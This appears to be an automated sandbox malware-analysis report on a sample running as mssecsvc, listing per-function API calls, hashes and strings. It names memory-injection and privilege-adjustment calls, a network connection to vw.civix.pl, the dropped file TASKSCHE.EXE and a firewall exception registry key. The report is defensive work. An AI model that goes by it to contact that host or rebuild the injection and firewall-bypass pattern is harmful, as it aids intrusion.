                    • Instruction ID: 40eb5b54934f241fe550e2c6efbaf549ee5f18a2a164e0b8a79690db9bb1f271
                    • Opcode Fuzzy Hash: dad7cbcaab426d6c0f3c4584b723313352d30526a1fe5ef49ea324b79f5cf1af
                    • Instruction Fuzzy Hash: 6E822232505309EFDB26CF28C4457B97BBAEF41328F105259D81A8F295D3B6AF94CB81
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA24AE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46stringnativeCOMMON
                    Download Yara Rule
                    APIs
                    • lstrcpyW.KERNEL32(?,\BaseNamedObjects\jjmtVt), ref: 7FEA24BA
                    • lstrlenW.KERNEL32(?), ref: 7FEA24C1
                    • NtCreateSection.NTDLL(?,0000000E,?,?,00000040,08000000,00000000), ref: 7FEA2516
                    Strings
                    • \BaseNamedObjects\jjmtVt, xrefs: 7FEA24B8
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: CreateSectionlstrcpylstrlen
                    • String ID: \BaseNamedObjects\jjmtVt
                    • API String ID: 2597515329-15295260
                    • Opcode ID: 9c1fe93cd82417fd82d7df84182f6222112578ab7725835b546e1efebb782258
                    • Instruction ID: c0287fa005e96546ede66f4e33b48657654ffe2969633d354753d418ea8e3c5b
                    • Opcode Fuzzy Hash: 9c1fe93cd82417fd82d7df84182f6222112578ab7725835b546e1efebb782258
                    • Instruction Fuzzy Hash: BA0181B0781304BAF7309B29CC4BF5B7929DF81B50F508558F608AE1C4DAB99A0483A9
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA252F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29nativeCOMMON
                    Download Yara Rule
                    APIs
                    • NtOpenSection.NTDLL(?,0000000E), ref: 7FEA255E
                    Strings
                    • \BaseNamedObjects\jjmtVt, xrefs: 7FEA254B
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: OpenSection
                    • String ID: \BaseNamedObjects\jjmtVt
                    • API String ID: 1950954290-15295260
                    • Opcode ID: 070b698a65d812778bebda462e03455ac2d4d74c25fc029a23958a9dd811b266
                    • Instruction ID: cc492c20b74137972e1aeb42a549193fdcd5baff80c1f90c3202c4eb3a6ea2fd
                    • Opcode Fuzzy Hash: 070b698a65d812778bebda462e03455ac2d4d74c25fc029a23958a9dd811b266
                    • Instruction Fuzzy Hash: A1E0DFF1342105BAFB288B19CC07FB7220DCBC0600F048604F918DA090E6F4AF104278
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA2574 Relevance: 3.1, APIs: 2, Instructions: 66nativeCOMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 7FEA252F: NtOpenSection.NTDLL(?,0000000E), ref: 7FEA255E
                    • NtMapViewOfSection.NTDLL(00000000,?,?,00000000,0000B7C4,00000000,?,00000002,00100000,00000040), ref: 7FEA25A4
                    • CloseHandle.KERNEL32(00000000,0000B7C4,00000000,?,00000002,00100000,00000040,00000000,0000B7C4,00000000,?,7FEA0815), ref: 7FEA25AC
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: Section$CloseHandleOpenView
                    • String ID:
                    • API String ID: 2731707328-0
                    • Opcode ID: 7e6d81ae67240a40e11905e7904a542b9946b97cc322a4af05470e0a41c17acf
                    • Instruction ID: 3cc34a18b6b0f74ef45f64819b33cb598c6401d77195fbf03454f98489c8026e
                    • Opcode Fuzzy Hash: 7e6d81ae67240a40e11905e7904a542b9946b97cc322a4af05470e0a41c17acf
                    • Instruction Fuzzy Hash: 9A21F970301646BBDB18DE65CC55FBA7369FF80648F401118E85ABE1D4DBB2BA24C758
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA1422 Relevance: 3.0, APIs: 2, Instructions: 38nativeCOMMON
                    Download Yara Rule
                    APIs
                    • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 7FEA145A
                    • NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 7FEA146A
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                    • String ID:
                    • API String ID: 3615134276-0
                    • Opcode ID: 4d961b29825b6918877cf0b8ca3bbdf1a1a783037955428b050f6265267c3a26
                    • Instruction ID: ddbff97e699881e74d61e2820170bd54818263a6fff0c1519b9bac5ac29647fb
                    • Opcode Fuzzy Hash: 4d961b29825b6918877cf0b8ca3bbdf1a1a783037955428b050f6265267c3a26
                    • Instruction Fuzzy Hash: 5BF0AE36542510BBD7205F56CD8EED77F28EF533A0F144556F4484E151C2624BA5D3F4
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA2477 Relevance: 3.0, APIs: 2, Instructions: 25nativeCOMMON
                    Download Yara Rule
                    APIs
                    • NtProtectVirtualMemory.NTDLL(?,?,?,00000040), ref: 7FEA249B
                    • NtWriteVirtualMemory.NTDLL ref: 7FEA24A4
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: MemoryVirtual$ProtectWrite
                    • String ID:
                    • API String ID: 151266762-0
                    • Opcode ID: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                    • Instruction ID: 6bbb67ea70d6ee96dfa5f1d7b4d314b28acc786a60d934acbd3f762ecc45b662
                    • Opcode Fuzzy Hash: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                    • Instruction Fuzzy Hash: 2AE012E07502007FF5185F55DC5FF7B391DDB41751F410208FA0A981C4F9A15E18467A
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA144A Relevance: 3.0, APIs: 2, Instructions: 22nativeCOMMON
                    Download Yara Rule
                    APIs
                    • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 7FEA145A
                    • NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 7FEA146A
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                    • String ID:
                    • API String ID: 3615134276-0
                    • Opcode ID: f45ad7484d04f34a0af0f423c52b42987f710650b5115a9fa6d287fad7b05342
                    • Instruction ID: ee32c209e3d0a2de55b6acbdbca8a3d00d8b73f2470e3acbbab87dcaf3c2c19a
                    • Opcode Fuzzy Hash: f45ad7484d04f34a0af0f423c52b42987f710650b5115a9fa6d287fad7b05342
                    • Instruction Fuzzy Hash: F2D06731643034BBD6312A568C0EEE77D1DEF577A0F015041F9089A1A1C5A28EA1C7F5
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA28C8 Relevance: .1, Instructions: 107COMMON
                    Download Yara Rule
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 0642b33d3ce8112a54256d33be083f0dc48b56f423af93a4a8a3c14605054926
                    • Instruction ID: 599e4210a27b95691828082bf071d632d483ec5813d8a2b375e76b2b2bcd3a21
                    • Opcode Fuzzy Hash: 0642b33d3ce8112a54256d33be083f0dc48b56f423af93a4a8a3c14605054926
                    • Instruction Fuzzy Hash: 6A31F5326006158BEB148E38C94079AB7F2FB84704F10C63CE557FB594D676F6898BC0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C228C8 Relevance: .1, Instructions: 107COMMON
                    Download Yara Rule
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 0642b33d3ce8112a54256d33be083f0dc48b56f423af93a4a8a3c14605054926
                    • Instruction ID: f9dd86a674d4486385598521e3a35c7e6fa104ceb9ab35e8a1a8f6ab4dcdbe36
                    • Opcode Fuzzy Hash: 0642b33d3ce8112a54256d33be083f0dc48b56f423af93a4a8a3c14605054926
                    • Instruction Fuzzy Hash: 2E3116326006259BEB149E38D84479AB3E2FB94304F10863DE566E7980E675FBD98BC0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA025E Relevance: .0, Instructions: 44COMMON
                    Download Yara Rule
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: e4466ed4a45536c2d1542276fdcee01da0efd0fe05154c6aabfe3dbafd73ce84
                    • Instruction ID: 4ea93c692fd0e4ebbdd89690991fed6d9829033e8c471cc4ddcd1b3354cac918
                    • Opcode Fuzzy Hash: e4466ed4a45536c2d1542276fdcee01da0efd0fe05154c6aabfe3dbafd73ce84
                    • Instruction Fuzzy Hash: 630128727053415BC722DF38CD88FADBBA1EBC4734F108325E6944E08AD733A2858691
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C2025E Relevance: .0, Instructions: 44COMMON
                    Download Yara Rule
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: e4466ed4a45536c2d1542276fdcee01da0efd0fe05154c6aabfe3dbafd73ce84
                    • Instruction ID: af029b8395bcdb09f642433062343f30ccf13455dfe2b383d458521c49f60e6a
                    • Opcode Fuzzy Hash: e4466ed4a45536c2d1542276fdcee01da0efd0fe05154c6aabfe3dbafd73ce84
                    • Instruction Fuzzy Hash: 7A014C727041519BC721EF28DC89FADB7A2FBC4734F208327F8944A487DB31A2859691
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA3F8F Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 224networkthreadlibraryCOMMON
                    Download Yara Rule
                    APIs
                    • LoadLibraryA.KERNEL32(7FEA3F83), ref: 7FEA3F8F
                    • WSAStartup.WS2_32(00000101), ref: 7FEA3FCE
                    • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 7FEA3FE9
                    • CloseHandle.KERNEL32(?,00000000), ref: 7FEA3FF2
                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3FFF
                    • lstrlen.KERNEL32(vw.civix.pl,?,00000000), ref: 7FEA4057
                    • gethostbyname.WS2_32(vw.civix.pl), ref: 7FEA4066
                    • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4097
                    • connect.WS2_32(2E777605,7FEA3B09,00000010), ref: 7FEA40B1
                    • GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA40FB
                    • wsprintfA.USER32 ref: 7FEA4179
                    • CreateThread.KERNEL32(00000000,00000000,Function_00003819,2E777605,00000000), ref: 7FEA41B4
                    • CloseHandle.KERNEL32(?,00000000,2E777605,7FEA6AA2,00000000,00000000), ref: 7FEA41BD
                    • GetTickCount.KERNEL32 ref: 7FEA41F6
                    • RtlExitUserThread.NTDLL(00000000), ref: 7FEA4322
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: CreateThread$CloseHandle$CountEventExitLibraryLoadStartupTickUserVersionconnectgethostbynamelstrlensocketwsprintf
                    • String ID: C:\WINDOWS\TASKSCHE.EXE$vw.civix.pl
                    • API String ID: 3316401344-3566323733
                    • Opcode ID: ddb8fe4bd5fdd210e26ff7bad9c73aa659b133641d5d7bf307872437a698338a
                    • Instruction ID: 1da76589fb4dd87b5df105d6ae65f4369b8eb418b0376c81cadce6663e0d34e8
                    • Opcode Fuzzy Hash: ddb8fe4bd5fdd210e26ff7bad9c73aa659b133641d5d7bf307872437a698338a
                    • Instruction Fuzzy Hash: 1391EC71508348BEEB229F348859BEE7FAEEF41304F000648E85A9E191C3F66F45DB65
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C23F8F Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 224networkthreadlibraryCOMMON
                    Download Yara Rule
                    APIs
                    • LoadLibraryA.KERNEL32(00C23F83), ref: 00C23F8F
                    • WSAStartup.WS2_32(00000101), ref: 00C23FCE
                    • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00C23FE9
                    • CloseHandle.KERNEL32(?,00000000), ref: 00C23FF2
                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00C23FFF
                    • lstrlen.KERNEL32(vw.civix.pl,?,00000000), ref: 00C24057
                    • gethostbyname.WS2_32(vw.civix.pl), ref: 00C24066
                    • socket.WS2_32(00000002,00000001,00000000), ref: 00C24097
                    • connect.WS2_32(2E777605,00C23B09,00000010), ref: 00C240B1
                    • GetVersionExA.KERNEL32(?,?,00000000), ref: 00C240FB
                    • wsprintfA.USER32 ref: 00C24179
                    • CreateThread.KERNEL32(00000000,00000000,Function_00003819,2E777605,00000000), ref: 00C241B4
                    • CloseHandle.KERNEL32(?,00000000,2E777605,00C26AA2,00000000,00000000), ref: 00C241BD
                    • GetTickCount.KERNEL32 ref: 00C241F6
                    • RtlExitUserThread.NTDLL(00000000), ref: 00C24322
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: CreateThread$CloseHandle$CountEventExitLibraryLoadStartupTickUserVersionconnectgethostbynamelstrlensocketwsprintf
                    • String ID: C:\WINDOWS\TASKSCHE.EXE$vw.civix.pl
                    • API String ID: 3316401344-3566323733
                    • Opcode ID: ddb8fe4bd5fdd210e26ff7bad9c73aa659b133641d5d7bf307872437a698338a
                    • Instruction ID: c370f778e465ee1a0c4ce2e10ad74e4a4c7c48bd1dc4746f8e800fcc3d8f397a
                    • Opcode Fuzzy Hash: ddb8fe4bd5fdd210e26ff7bad9c73aa659b133641d5d7bf307872437a698338a
                    • Instruction Fuzzy Hash: B791DC71508268FBEB399F24981DBEE7BADEF41300F040508E95A9E981C3F45F85DB65
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA3EB5 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 276networklibrarythreadCOMMON
                    Download Yara Rule
                    APIs
                    • LoadLibraryA.KERNEL32(7FEA3EA9), ref: 7FEA3EB5
                      • Part of subcall function 7FEA3ECC: GetProcAddress.KERNEL32(00000000,7FEA3EC0), ref: 7FEA3ECD
                      • Part of subcall function 7FEA3ECC: GetModuleFileNameA.KERNEL32(00000000,7FEA6AA2,000000C8), ref: 7FEA3EE2
                      • Part of subcall function 7FEA3ECC: wsprintfA.USER32 ref: 7FEA3EF7
                      • Part of subcall function 7FEA3ECC: CreateThread.KERNEL32(00000000,00000000,7FEA3691,00000000,00000000), ref: 7FEA3F40
                      • Part of subcall function 7FEA3ECC: CloseHandle.KERNEL32(?,E8F37307), ref: 7FEA3F49
                    • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 7FEA3FE9
                    • CloseHandle.KERNEL32(?,00000000), ref: 7FEA3FF2
                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3FFF
                    • socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4097
                    • connect.WS2_32(2E777605,7FEA3B09,00000010), ref: 7FEA40B1
                    • GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA40FB
                    • wsprintfA.USER32 ref: 7FEA4179
                    Strings
                    • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                    • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: Create$CloseHandleThreadwsprintf$AddressEventFileLibraryLoadModuleNameProcVersionconnectsocket
                    • String ID: C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                    • API String ID: 4150863296-1912484672
                    • Opcode ID: f1d84134fe036aa05b481be4a2e3cefd3da6a37580bded02df9d0a272a27228e
                    • Instruction ID: a15a6457230e598bb6ef6cbbffa0e8635eaa4eb844119d8f0639b47af27d7a61
                    • Opcode Fuzzy Hash: f1d84134fe036aa05b481be4a2e3cefd3da6a37580bded02df9d0a272a27228e
                    • Instruction Fuzzy Hash: A3A1FF71419348BFEB219F348C49BFA7BACEF41304F004659E84A9E092D6F66F05C7A2
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C23EB5 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 276networklibrarythreadCOMMON
                    Download Yara Rule
                    APIs
                    • LoadLibraryA.KERNEL32(00C23EA9), ref: 00C23EB5
                      • Part of subcall function 00C23ECC: GetProcAddress.KERNEL32(00000000,00C23EC0), ref: 00C23ECD
                      • Part of subcall function 00C23ECC: GetModuleFileNameA.KERNEL32(00000000,00C26AA2,000000C8), ref: 00C23EE2
                      • Part of subcall function 00C23ECC: wsprintfA.USER32 ref: 00C23EF7
                      • Part of subcall function 00C23ECC: CreateThread.KERNEL32(00000000,00000000,00C23691,00000000,00000000), ref: 00C23F40
                      • Part of subcall function 00C23ECC: CloseHandle.KERNEL32(?,E8F37307), ref: 00C23F49
                    • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00C23FE9
                    • CloseHandle.KERNEL32(?,00000000), ref: 00C23FF2
                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00C23FFF
                    • socket.WS2_32(00000002,00000001,00000000), ref: 00C24097
                    • connect.WS2_32(2E777605,00C23B09,00000010), ref: 00C240B1
                    • GetVersionExA.KERNEL32(?,?,00000000), ref: 00C240FB
                    • wsprintfA.USER32 ref: 00C24179
                    Strings
                    • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00C23F0C
                    • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00C241DA
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: Create$CloseHandleThreadwsprintf$AddressEventFileLibraryLoadModuleNameProcVersionconnectsocket
                    • String ID: C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                    • API String ID: 4150863296-1912484672
                    • Opcode ID: f1d84134fe036aa05b481be4a2e3cefd3da6a37580bded02df9d0a272a27228e
                    • Instruction ID: ed3ac26813105d369b59ffdff2b8233362512b17dc317197d9ea5918b3db65e7
                    • Opcode Fuzzy Hash: f1d84134fe036aa05b481be4a2e3cefd3da6a37580bded02df9d0a272a27228e
                    • Instruction Fuzzy Hash: DBA10F714082A8BFEB259F649C4EBEA7BACEF41300F040549E8599E482D6F45F45CBA5
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA3ECC Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 265threadlibraryloaderCOMMON
                    Download Yara Rule
                    APIs
                    • GetProcAddress.KERNEL32(00000000,7FEA3EC0), ref: 7FEA3ECD
                    • GetModuleFileNameA.KERNEL32(00000000,7FEA6AA2,000000C8), ref: 7FEA3EE2
                    • wsprintfA.USER32 ref: 7FEA3EF7
                    • CreateThread.KERNEL32(00000000,00000000,7FEA3691,00000000,00000000), ref: 7FEA3F40
                    • CloseHandle.KERNEL32(?,E8F37307), ref: 7FEA3F49
                    • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 7FEA3FE9
                    • CloseHandle.KERNEL32(?,00000000), ref: 7FEA3FF2
                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3FFF
                      • Part of subcall function 7FEA3405: NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 7FEA344A
                      • Part of subcall function 7FEA3405: NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 7FEA3469
                      • Part of subcall function 7FEA3405: MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 7FEA3493
                      • Part of subcall function 7FEA3405: CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 7FEA34A0
                      • Part of subcall function 7FEA3405: UnmapViewOfFile.KERNEL32(?), ref: 7FEA34B8
                    Strings
                    • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                    • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: CloseCreateFileHandle$ThreadView$AddressEventInformationModuleNameOpenProcQuerySectionSystemUnmapwsprintf
                    • String ID: C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                    • API String ID: 541178049-1912484672
                    • Opcode ID: 93ed13287a7bd2140dafd5b4f212b57c54acf0fe28af45ebd9ce4fa85cb1ab7f
                    • Instruction ID: d9e398f0cb57442fd0ba00def27d3fe33590f3ea382637dc010686527708efc5
                    • Opcode Fuzzy Hash: 93ed13287a7bd2140dafd5b4f212b57c54acf0fe28af45ebd9ce4fa85cb1ab7f
                    • Instruction Fuzzy Hash: 65A10071408348BFEB219F348C49BEA7BACEF81304F004659E84A9E091D7F66F05C7A1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00C23ECC Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 265threadlibraryloaderCOMMON
                    Download Yara Rule
                    APIs
                    • GetProcAddress.KERNEL32(00000000,00C23EC0), ref: 00C23ECD
                    • GetModuleFileNameA.KERNEL32(00000000,00C26AA2,000000C8), ref: 00C23EE2
                    • wsprintfA.USER32 ref: 00C23EF7
                    • CreateThread.KERNEL32(00000000,00000000,00C23691,00000000,00000000), ref: 00C23F40
                    • CloseHandle.KERNEL32(?,E8F37307), ref: 00C23F49
                    • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 00C23FE9
                    • CloseHandle.KERNEL32(?,00000000), ref: 00C23FF2
                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00C23FFF
                      • Part of subcall function 00C23405: NtOpenSection.NTDLL(?,00000006,?,00000018,?,?,00000040,?,?,63697379), ref: 00C2344A
                      • Part of subcall function 00C23405: NtQuerySystemInformation.NTDLL(0000000B,?,00000120,00000000), ref: 00C23469
                      • Part of subcall function 00C23405: MapViewOfFile.KERNEL32(?,00000006,00000000,?,?,?,00000120,00000000), ref: 00C23493
                      • Part of subcall function 00C23405: CloseHandle.KERNEL32(?,00000000,?,00000120,00000000), ref: 00C234A0
                      • Part of subcall function 00C23405: UnmapViewOfFile.KERNEL32(?), ref: 00C234B8
                    Strings
                    • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00C23F0C
                    • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00C241DA
                    Memory Dump Source
                    • Source File: 00000004.00000002.774178476.0000000000C20000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C20000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_c20000_mssecsvc.jbxd
                    Similarity
                    • API ID: CloseCreateFileHandle$ThreadView$AddressEventInformationModuleNameOpenProcQuerySectionSystemUnmapwsprintf
                    • String ID: C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                    • API String ID: 541178049-1912484672
                    • Opcode ID: 93ed13287a7bd2140dafd5b4f212b57c54acf0fe28af45ebd9ce4fa85cb1ab7f
                    • Instruction ID: 2504b929078f6c37653f8893ca1b9051359e8ef6c42ae84285e695cabb23b1c0
                    • Opcode Fuzzy Hash: 93ed13287a7bd2140dafd5b4f212b57c54acf0fe28af45ebd9ce4fa85cb1ab7f
                    • Instruction Fuzzy Hash: 98A10F714082A8BFEB259F64DC4EBEA7BACEF41300F040648F8599E482D6F45F45CBA5
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 7FEA3F60 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 215librarystringthreadCOMMON
                    Download Yara Rule
                    APIs
                    • LoadLibraryA.KERNEL32(7FEA3F54), ref: 7FEA3F60
                      • Part of subcall function 7FEA3F8F: LoadLibraryA.KERNEL32(7FEA3F83), ref: 7FEA3F8F
                      • Part of subcall function 7FEA3F8F: WSAStartup.WS2_32(00000101), ref: 7FEA3FCE
                      • Part of subcall function 7FEA3F8F: CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 7FEA3FE9
                      • Part of subcall function 7FEA3F8F: CloseHandle.KERNEL32(?,00000000), ref: 7FEA3FF2
                      • Part of subcall function 7FEA3F8F: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 7FEA3FFF
                      • Part of subcall function 7FEA3F8F: socket.WS2_32(00000002,00000001,00000000), ref: 7FEA4097
                      • Part of subcall function 7FEA3F8F: connect.WS2_32(2E777605,7FEA3B09,00000010), ref: 7FEA40B1
                      • Part of subcall function 7FEA3F8F: GetVersionExA.KERNEL32(?,?,00000000), ref: 7FEA40FB
                    • lstrlen.KERNEL32(vw.civix.pl,?,00000000), ref: 7FEA4057
                    • gethostbyname.WS2_32(vw.civix.pl), ref: 7FEA4066
                    • wsprintfA.USER32 ref: 7FEA4179
                    • CreateThread.KERNEL32(00000000,00000000,Function_00003819,2E777605,00000000), ref: 7FEA41B4
                    • CloseHandle.KERNEL32(?,00000000,2E777605,7FEA6AA2,00000000,00000000), ref: 7FEA41BD
                    • GetTickCount.KERNEL32 ref: 7FEA41F6
                    Strings
                    • C:\WINDOWS\TASKSCHE.EXE, xrefs: 7FEA41DA
                    Memory Dump Source
                    • Source File: 00000004.00000002.775287086.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                    Similarity
                    • API ID: Create$CloseHandleLibraryLoadThread$CountEventStartupTickVersionconnectgethostbynamelstrlensocketwsprintf
                    • String ID: C:\WINDOWS\TASKSCHE.EXE
                    • API String ID: 2996464229-3507925353
                    • Opcode ID: 3a46fe8949218d8fc9384494124be36ff555b877cdb5172203310d60a3e128ac
